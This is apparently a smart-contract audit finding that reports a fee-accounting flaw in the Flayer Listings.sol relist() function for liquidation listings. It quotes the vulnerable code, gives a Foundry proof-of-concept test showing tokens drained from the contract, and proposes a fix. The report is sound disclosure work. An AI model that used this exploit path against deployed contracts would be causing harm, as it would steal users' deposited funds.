Crazy Chiffon Spider

High

# Relist deposits fees to Uniswap pool for liquidation listings, which leads to accounting problems, stolen funds and inflation, as liquidation listings don't pay fees.

## Summary
Relist function in `Listings.sol` allows for re-listing existing listings. 
However it currently also allows to relist liquidation listings.

The liquidation listings does not require depositing fees upon creation, but the `relist()` operation assumes they were deposited and will distribute the fees to the `U4Implementation` contract and refund % of them to the owner of the liquidated listing. 

## Vulnerability Detail
When we create a listing in Listings.sol, we deposit the fees calculated from `getListingTaxRequired`, however, they are not immediately deposited into the U4 contract via `locker.implementation().depositFees()`, but this is rather handled upon calling `fillListings()`, `cancelListings()`, `relist()` or `reserve()`.

However there is an exception `Listings.createLiquidationListing()` can only be called when a Protected Listing from `ProtectedListings.sol` gets liquidated. So an auction via normal dutch auction is started in the `Listings.sol` contract.
```solidity
    function createLiquidationListing(CreateListing calldata _createListing) public nonReentrant lockerNotPaused {
        // We can only call this from our {ProtectedListings} contract
@>>     if (msg.sender != address(protectedListings)) revert CallerIsNotProtectedListings();
```       

If someone calls [relist()](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/Listings.sol#L643-L647) he will call `_resolveListingTax()` which will trigger the `locker.implementation().depositFees()`, even though fees haven't been deposited in the `Listings.sol` previously, since `createLiquidationListing()` was used.
```solidity
    function relist(CreateListing calldata _listing, bool _payTaxWithEscrow) public nonReentrant lockerNotPaused {
         ............Skipping code..............
         
        //@audit-info since we set that to "true" resolveListingTax will call depositFees() internally
@>>     (uint _fees,) = _resolveListingTax(oldListing, _collection, true);
        if (_fees != 0) {
            emit ListingFeeCaptured(_collection, _tokenId, _fees);
        }
```

The fees are either deposited into the U4 pool and some part could be partitialy refunded to the person who was liquidated:
```solidity
        if (_action) {
            ICollectionToken collectionToken = locker.collectionToken(_collection);
            if (fees_ != 0) {
                IBaseImplementation implementation = locker.implementation();
                collectionToken.approve(address(implementation), fees_);
@>>             implementation.depositFees(_collection, 0, fees_);
            }
            if (refund_ != 0) {
@>>             _deposit(_listing.owner, address(collectionToken), refund_);
            }
        }
``` 
### Coded PoC       
Put this in Listings.t.sol and use `forge test --match-test test_relistingLiquidationListings -vvv`
```solidity
   function test_relistingLiquidationListings() public {
        //===========Setup===========
        listings.setProtectedListings(address(protectedListings));
        ICollectionToken token = locker.collectionToken(address(erc721a));
        //Ensure we have some balance in the listings contract
        deal(address(token), address(listings), 5 ether);

        address _owner = address(0x77);
        address _relister = address(0x78);
        address randomBuyer = address(0x79);
        uint _tokenId = 2555;

        assertEq(token.denomination(), 0);
        uint startBalanceOwner = token.balanceOf(_owner);
        uint startBalanceRelister = 5 ether; 
        uint startBalanceBuyer = 10 ether;
        deal(address(token), _relister, startBalanceRelister);
        deal(address(token), randomBuyer, startBalanceBuyer);

        uint uniswapPoolStartBalance = token.balanceOf(address(uniswapImplementation)); 
        erc721a.mint(_owner, _tokenId);

        uint startBalanceListingContract = token.balanceOf(address(listings)); 
        //===========Setup===========

        vm.startPrank(_owner);
        erc721a.approve(address(protectedListings), _tokenId);
        _createProtectedListing({
            _listing: IProtectedListings.CreateListing({
                collection: address(erc721a),
                tokenIds: _tokenIdToArray(_tokenId),
                listing: IProtectedListings.ProtectedListing({
                    owner: payable(_owner),
                    tokenTaken: 0.95 ether,
                    checkpoint: 0
                })
            })
        });
        skip(1); // allow interest to accrue so we can liquidate

        protectedListings.liquidateProtectedListing(address(erc721a), _tokenId);

        skip(3.97 days); // Skipping some days so price becomes ~ floor. The vulnarability exists even if its not close to floor.

        //--Relist the luqidation listing NFT--//
        vm.startPrank(_relister);
        token.approve(address(listings), 4.5 ether);
        listings.relist({
            _listing: IListings.CreateListing({
                collection: address(erc721a),
                tokenIds: _tokenIdToArray(_tokenId),
                listing: IListings.Listing({
                    owner: payable(_relister),
                    created: uint40(block.timestamp),
                    duration: listings.MIN_LIQUID_DURATION(),
                    floorMultiple: 105
                })
            }),
            _payTaxWithEscrow: false
        });
        vm.stopPrank();

        skip(2 days); // Skip some time again

        //Ensure relister has no balance in escrow before filling the listing
        vm.prank(_relister);
        vm.expectRevert();
        listings.withdraw(address(token), 0.0000000000001 ether);
        
        //Someone fills the listing 
        //It will help us show the loss of funds, since we could compare balance delta
        uint[][] memory tokenIdsOut = new uint[][](1);
        tokenIdsOut[0] = new uint[](1);
        tokenIdsOut[0][0] = _tokenId;

        vm.startPrank(randomBuyer);
        token.approve(address(listings), 3.5 ether);
        listings.fillListings(
            IListings.FillListingsParams({
                collection: address(erc721a),
                tokenIdsOut: tokenIdsOut
            })
        );
        vm.stopPrank();

        //Since someone filled the listing, the relister should get some refund back.
        //and some part of the tax will be sent to the Uniswap contract, when fillListing is called.

        vm.startPrank(_owner);
        listings.withdraw(address(token), 385714285714285);
        vm.stopPrank();

        vm.startPrank(_relister);
        listings.withdraw(address(token), 50000000000000000);
    
        //Compare balance delta for Listings contract should be 0, however its negative:

        // 5000000000000000000 - 4959596428571428572 = 40403571428571428
        // 40403571428571428 = 0.040403571428571428 CT
        assertEq(token.balanceOf(address(listings)), startBalanceListingContract - 40403571428571428);

        // Uniswap pool received some rewards.
        assertEq(token.balanceOf(address(uniswapImplementation)), uniswapPoolStartBalance + 51042857142857143);
    }
```    
## Impact
- `Listing.sol` running out of balance could DoS the `fillListings()`, `cancelListings()`, `relist()`, `modifyListing()` or `reserve()` functions which require the `CT` balance.
- Refunded amount to the Owner of the ProtectedListing that was liquidated is just FREE `CT` tokens.
- Admin cannot recover damages, he can just mint `CT` with `unbackedDeposit()` to avoid DoS, but it is guaranteed inflation as there won't be any backing value. The `CT` was stolen out in `REFUND` and for `FEES` to the UniswapV4Pool.

The values for the actual inflation can be significant, as the initial `floorMultiplier` factor for liquidation listings is `400` with 4 days duration ( See [here](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/ProtectedListings.sol#L459) )

So using `TaxCalculator.calculateTax()` this would end up `51428571428571428` for 18 decimal CT tokens. If 1 CT token == 2350$, this totals to ~$121.16 thats being lost.

Its important to note, if not expired there will always be some part of the amount **refunded**, it will be send back via escrow to the person who was liquidated initially, which would still lead to insolvencies when he withdraws it, as its basically **free CT tokens**, stolen from other's deposits. 
The refund amount depends greatly on the time that have passed since the creation of the liquidation listing, relative to the relisting operation.

## Tool used

Manual Review

## Recommendation
Add a check to remove the taxes being paid for liquidation listings, similar to the one in `reserve()` function:
```diff
    function relist(CreateListing calldata _listing, bool _payTaxWithEscrow) public nonReentrant lockerNotPaused {
        address _collection = _listing.collection;
        uint _tokenId = _listing.tokenIds[0];

        Listing memory oldListing = _listings[_collection][_tokenId];
        if (oldListing.owner == msg.sender) revert CallerIsAlreadyOwner();
        Listing memory listing = _listing.listing;

        // Ensure that the existing listing is available
        (bool isAvailable, uint listingPrice) = getListingPrice(_collection, _tokenId);
        if (!isAvailable) revert ListingNotAvailable();
        
+      if (!_isLiquidation[_collection][_tokenId]) {
        // We can process a tax refund for the existing listing
        (uint _fees,) = _resolveListingTax(oldListing, _collection, true);
        if (_fees != 0) {
            emit ListingFeeCaptured(_collection, _tokenId, _fees);
+       }
}
```